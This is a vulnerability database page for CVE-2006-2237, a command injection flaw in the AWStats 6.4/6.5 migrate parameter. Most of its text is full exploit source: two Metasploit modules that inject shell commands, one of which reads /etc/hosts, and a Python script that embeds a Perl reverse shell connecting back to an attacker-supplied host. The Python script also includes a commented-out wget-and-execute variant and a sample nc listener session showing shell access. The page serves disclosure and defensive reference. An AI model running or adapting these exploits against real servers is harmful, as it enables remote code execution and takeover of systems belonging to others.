CVE-2006-2237 : Detail

CVE-2006-2237

94.52%V3
Network
2006-05-08
21h00 +00:00
2018-10-03
18h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The web interface for AWStats 6.4 and 6.5, when statistics updates are enabled, allows remote attackers to execute arbitrary code via shell metacharacters in the migrate parameter.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 9909

Publication date : 2006-05-03 22h00 +00:00
Author : patrick
EDB Verified : Yes

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'AWStats migrate Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based payloads are recommended with this module. The vulnerability is only present when AllowToUpdateStatsFromBrowser is enabled in the AWstats configuration file (non-default). }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ ['CVE', '2006-2237'], ['OSVDB', '25284'], ['BID', '17844'], ['URL', 'http://awstats.sourceforge.net/awstats_security_news.php'], ['URL', 'http://www.milw0rm.com/exploits/1755'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'May 04 2006', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]), OptString.new('AWSITE', [true, "The AWStats config site name", "demo"]), ], self.class) end def check res = send_request_cgi({ 'uri' => datastore['URI'], 'vars_get' => { 'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt" } }, 25) if (res and res.body.match(/localhost/)) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit command = Rex::Text.uri_encode("cd /tmp &&" + payload.encoded) sploit = datastore['URI'] + "?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt" res = send_request_raw({ 'uri' => sploit, 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Connection' => 'Close', } }, 25) if (res) print_status("The server returned: #{res.code} #{res.message}") m = res.body.match(/YYY\n(.*)\nYYY/m) if (m) print_status("Command output from the server:") print("\n" + m[1] + "\n\n") else print_status("This server may not be vulnerable") end else print_status("No response from the server") end end end
Exploit Database EDB-ID : 16886

Publication date : 2010-07-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: awstats_migrate_exec.rb 9671 2010-07-03 06:21:31Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'AWStats migrate Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based payloads are recommended with this module. The vulnerability is only present when AllowToUpdateStatsFromBrowser is enabled in the AWstats configuration file (non-default). }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9671 $', 'References' => [ ['CVE', '2006-2237'], ['OSVDB', '25284'], ['BID', '17844'], ['URL', 'http://awstats.sourceforge.net/awstats_security_news.php'], ['URL', 'http://www.milw0rm.com/exploits/1755'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'May 04 2006', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]), OptString.new('AWSITE', [true, "The AWStats config site name", "demo"]), ], self.class) end def check res = send_request_cgi({ 'uri' => datastore['URI'], 'vars_get' => { 'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt" } }, 25) if (res and res.body.match(/localhost/)) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit command = Rex::Text.uri_encode("cd /tmp &&" + payload.encoded) sploit = datastore['URI'] + "?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt" res = send_request_raw({ 'uri' => sploit, 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Connection' => 'Close', } }, 25) if (res) print_status("The server returned: #{res.code} #{res.message}") m = res.body.match(/YYY\n(.*)\nYYY/m) if (m) print_status("Command output from the server:") print("\n" + m[1] + "\n\n") else print_status("This server may not be vulnerable") end else print_status("No response from the server") end end end
Exploit Database EDB-ID : 1755

Publication date : 2006-05-05 22h00 +00:00
Author : redsand
EDB Verified : Yes

#!/usr/bin/env python # http://secunia.com/advisories/19969/ # by [email protected] # May 5, 2006 - HAPPY CINCO DE MAYO # HAPPY BIRTHDAY DAD # private plz # # redsand@jinxy ~/ $ nc -l -p 31337 -v # listening on [any] 31337 ... # connect to [65.99.197.147] from blacksecurity.org [65.99.197.147] 53377 # id # uid=81(apache) gid=81(apache) groups=81(apache) # import sys, socket, base64 import urllib2, urlparse, urllib # perl 1 line tcp connect-back code # needs ip & port cmd = 'perl -e \'$h="%s";$p=%r;use Socket;$sp=inet_aton($h);$sa=sockaddr_in($p,$sp);;socket(CLIENT,PF_INET,SOCK_STREAM,getprotobyname("tcp"));gethostbyname($h);connect(CLIENT,$sa);open(STDIN,">&CLIENT");open(STDOUT,">&CLIENT");open(STDERR,">&CLIENT");if(fork()){exec "/bin/sh"; exit(0); };\''; class rbawstatsMigrate: __url = '' __user = '' __password = '' __auth = False __chost =False __cport = False def __init__(self,host=False, ur=False, ps=False, chost=False, cport=False): if host: self.__url = host if ur: self.__user = ur if ps: self.__password = ps if ur or ps: self.__auth = True if chost: self.__chost = chost if cport: self.__cport = cport url = urlparse.urlsplit(self.__url) i = url[1].find(';') if i >= 0: self.__parsed_host = url[1][:i] else: self.__parsed_host = url[1] def probe(self): cphost = socket.gethostbyname_ex(self.__chost) my_cmd = cmd % (cphost[2][0],self.__cport) url_xpl = { "config": self.__parsed_host, "migrate":"|cd /tmp/ && %s|awstats052005.%s.txt" % (my_cmd, self.__parsed_host) # "migrate":"|cd /tmp/ && wget %s && chmod 777 %s && /tmp/%s|awstats052005.%s.txt" % (rsv, fname, fname, self.__parsed_host) } #if self.__url[len(self.__url) -1] != '?': # url_xpl = '?' + url_xpl url = self.__url url_xpl = urllib.urlencode(url_xpl) try: req = urllib2.Request(url, url_xpl) if(self.__auth): b64str = base64.encodestring('%s:%s' % (self.__user,self.__password))[:-1] req.add_header('Authorization', "Basic %s"% b64str) req.add_header('Referer', "http://exploit.by.redsand.of.blacksecurity.org") req.add_header('Accept', 'text/xml,application/xml,application/xhtml+xml,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1') req.add_header('Accept-Language','en-us') req.add_header('Accept-Encoding','deflate, gzip') req.add_header('User-Agent', "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; [BL4CK] Security") req.add_header('Connection' ,'Keep-Alive') req.add_header('Cache-Control','no-cache') q = urllib2.urlopen(req) except IOError, e: print "FAILED %s" % e sys.exit(0) print "SUCCESS, now check to see if it connected-back properly to %s:%s" % (self.__chost,self.__cport) sys.exit(0) user=False pas=False url=False chst=False cprt=False print "[BL4CK] AWStats CMD Injection Exploit by [email protected]" print "http://secunia.com/advisories/19969/" print "http://blacksecurity.org - f0r my h0mi3s" argc = len(sys.argv) if(argc <= 3): print "USAGE: %s http://host/awstats.pl <connect back host> <connect back port> [username] [password] " % sys.argv[0] print "\t\* Support 401 HTTP Authentication" sys.exit(0) if(argc > 1): url = sys.argv[1] if(argc > 2): chst = sys.argv[2] if(argc > 3): cprt = sys.argv[3] if(argc > 4): user = sys.argv[4] if(argc > 5): pas = sys.argv[5] red = rbawstatsMigrate(url, user, pas, chst, cprt) red.probe() # milw0rm.com [2006-05-06]

Products Mentioned

Configuraton 0

Awstats>>Awstats >> Version 6.4

Awstats>>Awstats >> Version 6.5

References

http://secunia.com/advisories/20710
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/20186
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2006/dsa-1058
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/20496
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2006/1678
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/20170
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.osvdb.org/25284
Tags : vdb-entry, x_refsource_OSVDB
https://usn.ubuntu.com/285-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/19969
Tags : third-party-advisory, x_refsource_SECUNIA
http://security.gentoo.org/glsa/glsa-200606-06.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securityfocus.com/bid/17844
Tags : vdb-entry, x_refsource_BID